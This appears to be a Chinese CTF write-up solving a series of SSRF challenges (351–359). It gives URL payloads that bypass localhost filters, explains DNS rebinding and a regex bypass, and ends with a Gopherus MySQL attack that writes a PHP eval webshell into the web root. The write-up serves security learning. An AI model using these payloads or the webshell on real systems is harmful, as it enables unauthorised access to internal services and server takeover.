SSRF概述
强制服务器发送一个攻击者的请求
互联网上的很多web应用提供了从其他服务器(也可以是本地)获取数据的功能。使用用户指定的URL,web应用可以获取图片(载入图片)、文件资源(下载或读取)。如下图所示,百度提供识图功能。如果链接可以访问任意请求,则存在ssrf漏洞
351
尝试访问flag.php
发现本地用户才能访问,构造payload
url=http://127.0.0.1/flag.php
352
parse_url():本函数解析一个URL并返回一个关联数组,包含在URL中出现的各种组成部分。
这里127.0.0和localhost被黑名单过滤,可以用进制转换来绕过
127(10)=0x7f(16)=0177(8)十进制转十六和八进制
payload: url=http://0x7f.0.0.1/flag.php
353和352一样
354
0 1被过滤
利用302跳转
如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用302跳转的方式来进行绕过。
http://xip.io 当我们访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1。
DNS Rebinding
对于常见的IP限制,后端服务器可能通过下图的流程进行IP过滤
![[Pasted image 20210125224939.png]]
对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。
但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间查,利用这个时间差,我们可以进行DNS 重绑定攻击。
要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:
(1)、服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
(2)、对于获得的IP进行判断,发现为非黑名单IP,则通过验证
(3)、服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
(4)、由于已经绕过验证,所以服务器端返回访问内网资源的结果。
修改自己域名的a记录,改成127.0.0.1
这个网站a记录指向127.0.0.1 可以直接利用
url=http://sudo.cc/flag.php
sudo.cc相当于127.0.0.1
355
host长度要求小于等于5,使用127.1省略绕过
payload:
url=http://127.1/flag.php
356
host长度小于等于3
0在 linux 系统中会解析成127.0.0.1在windows中解析成0.0.0.0
payload:
url=http://0/flag.php
357
gethostbyname — 返回主机名对应的 IPv4地址
gethostbyname():查找主机名最基本的函数。
如果调用成功,它就返回一个指向hostent结构的指针,该结构中含有所查找主机的所有IPv4地址。这个函数的局限是只能返回IPv4地址.
filter_var(variable, filter, options)函数通过指定的过滤器过滤一个变量。
• 返回值
• 如果成功,则返回被过滤的数据。
• 如果失败,则返回 FALSE。
FILTER_VALIDATE_IP 过滤器把值作为 IP 进行验证。
可能的标志:
• FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)
• FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)
• FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
• FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。
要求IP地址不能是私有地址
因为代码中使用了 gethostbyname 获取了真实 IP 地址,所以域名指向方法不能再使用,可以使用 302 跳转方法和 dns rebinding 方法
DNS rebinding(DNS重新绑定攻击)
攻击重点在于DNS服务能够在两次DNS查询中返回不用的IP地址,第一次是真正的IP,第二次是攻击目标IP地址,甚至可以通过这种攻击方法绕过同源策略
回到题目,在题目代码中一共对域名进行了两次请求,第一次是 gethostbyname 方法,第二次则是 file_get_contents 文件读取,可以通过 ceye.io 来实现攻击,DNS Rebinding 中设置两个 IP,一个是 127.0.0.1 另一个是随便可以访问的 IP
在http://ceye.io/
网站注册然后类似web354的做法
358
正则匹配
url 字符串要以 http://ctf
开头,show
结尾
payload:
url=http://ctf.@127.0.0.1/flag.php#show
359
使用Gopher协议打MySQL
先在虚拟机上使用kali下载Gopher
git clone https://github.com/tarunkant/Gopherus.git
python gopherus.py
python2 .\gopherus.py --exploit mysql
username:root
写入一句话木马
select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/2.php';
然后进行一次url编码,就是/后的从%开始